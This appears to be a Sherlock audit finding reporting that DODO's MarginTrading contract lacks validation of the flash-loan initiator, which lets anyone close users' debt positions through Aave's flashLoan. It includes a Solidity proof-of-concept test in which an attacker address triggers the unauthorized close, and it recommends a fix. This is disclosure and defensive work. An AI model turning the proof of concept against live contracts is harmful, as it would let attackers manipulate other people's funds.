Juntao

high

# Attacker can close debt position without authorization

## Summary

Attacker can close debt position in MarginTrading without authorization, due to lacking of validation of _initiator.

## Vulnerability Detail

In MarginTrading.sol, [**executeFlashLoans()**](https://github.com/sherlock-audit/2023-05-dodo/blob/main/dodo-margin-trading-contracts/contracts/marginTrading/MarginTrading.sol#L89-L108) method is defined for user to execute a flash loan, and modifier [onlyFlashLoan](https://github.com/sherlock-audit/2023-05-dodo/blob/main/dodo-margin-trading-contracts/contracts/marginTrading/MarginTrading.sol#L43-L50) is used to ensure that only authorized caller can execute this function:
```solidity
    modifier onlyFlashLoan() {
        require(
            _USER == msg.sender || owner() == msg.sender
                || IMarginTradingFactory(owner()).isAllowedProxy(address(this), msg.sender),
            "caller is unauthorized"
        );
        _;
    }
```
This function calls [__flashloan()__](https://github.com/aave/protocol-v2/blob/ce53c4a8c8620125063168620eba0a8a92854eb8/contracts/protocol/lendingpool/LendingPool.sol#L483-L564)  from AAVE v2 LendingPool to execute a flash loan:
```solidity
        lendingPool.flashLoan(receiverAddress, assets, amounts, modes, onBehalfOf, params, Types.REFERRAL_CODE);
```
LendingPool will then call the callback function [__executeOperation()__](https://github.com/sherlock-audit/2023-05-dodo/blob/main/dodo-margin-trading-contracts/contracts/marginTrading/MarginTrading.sol#L121-L166) on MarginTrading:
```solidity
    require(
      vars.receiver.executeOperation(assets, amounts, premiums, msg.sender, params),
      Errors.LP_INVALID_FLASH_LOAN_EXECUTOR_RETURN
    );
```
It could be seen that there is no validation for if [_initiator](https://github.com/sherlock-audit/2023-05-dodo/blob/main/dodo-margin-trading-contracts/contracts/marginTrading/MarginTrading.sol#L125) is trusted, so attacker can call __flashloan()__ in AAVE LendingPool with [receiverAddress](https://github.com/aave/protocol-v2/blob/ce53c4a8c8620125063168620eba0a8a92854eb8/contracts/protocol/lendingpool/LendingPool.sol#LL484C13-L484C28) being MarginTrading, then [__executeOperation()__](https://github.com/sherlock-audit/2023-05-dodo/blob/main/dodo-margin-trading-contracts/contracts/marginTrading/MarginTrading.sol#L121-L166) will be called on behalf of MarginTrading.

## Impact

It's unlikely that attacker can open debt position on behalf of MarginTrading due to insufficient [_borrowAllowances](https://github.com/aave/protocol-v2/blob/ce53c4a8c8620125063168620eba0a8a92854eb8/contracts/protocol/tokenization/base/DebtTokenBase.sol#L23), but attacker can close positions without authorization.

Please see below Test Codes:

1. Modify [MockLendingPoolV2.sol](https://github.com/sherlock-audit/2023-05-dodo/blob/main/dodo-margin-trading-contracts/contracts/mock/MockLendingPoolV2.sol#L129):
```solidity
IFlashLoanReceiver(receiverAddress).executeOperation(assets, amounts, _premiums, msg.sender, params);
```
2. Run test
```solidity
function testAudit() public {
        address _marginTrading = openMarginTradingDAIV2(user1, address(dai), address(weth), 10000 ether, 10 ether);

        //-------------------------- close -----------------------------------//

        uint256 borrowAmt = 500 ether;
        bytes memory swapParams = getSwapCalldata(address(dai), address(weth), borrowAmt);
        uint256 swapOutAmt = getRouterToAmount(address(dai), address(weth), borrowAmt);
        bytes memory executeParams;
        {
            address[] memory _withdrawAssets = new address[](1);
            _withdrawAssets[0] = address(dai);
            uint256[] memory _withdrawAmounts = new uint256[](1);
            _withdrawAmounts[0] = (borrowAmt * 10009) / 10000;
            uint256[] memory _rateMode = new uint256[](1);
            _rateMode[0] = 0;
            address[] memory _debtTokens = new address[](1);
            _debtTokens[0] = address(wethDebtToken);
            address[] memory _swapApproveToken = new address[](1);
            _swapApproveToken[0] = address(dai);
            address[] memory _tradeAssets = new address[](1);
            _tradeAssets[0] = address(weth);
            executeParams = encodeExecuteParams(
                0,
                address(router),
                address(dodoApprove),
                _swapApproveToken,
                swapParams,
                _tradeAssets,
                _withdrawAssets,
                _withdrawAmounts,
                _rateMode,
                _debtTokens
            );
        }
        address[] memory _assets = new address[](1);
        uint256[] memory _amounts = new uint256[](1);
        uint256[] memory _modes = new uint256[](1);
        _assets[0] = address(dai);
        _amounts[0] = borrowAmt;
        _modes[0] = 0;
        uint256 beforeDebtBalance = wethDebtToken.balanceOf(_marginTrading);

        // Attacker closes position without authorization
        address attacker = address(1);
        vm.prank(attacker);
        lendingPoolV2.flashLoan(address(_marginTrading), _assets, _amounts, _modes, address(_marginTrading), executeParams, uint16(0));

        sinkUserTokenBalanceV2(_marginTrading);
        assertEq(wethDebtToken.balanceOf(_marginTrading), beforeDebtBalance - swapOutAmt);
    }
```

## Code Snippet
https://github.com/aave/protocol-v2/blob/ce53c4a8c8620125063168620eba0a8a92854eb8/contracts/protocol/lendingpool/LendingPool.sol#L483-L564

## Tool used

Manual Review

## Recommendation
Please consider to verify that the initiator is MarginTrading in  [__executeOperation()__](https://github.com/sherlock-audit/2023-05-dodo/blob/main/dodo-margin-trading-contracts/contracts/marginTrading/MarginTrading.sol#L121-L166):
```solidity
        require(
            _initiator == address(this),
            "Untrusted loan initiator"
        );
```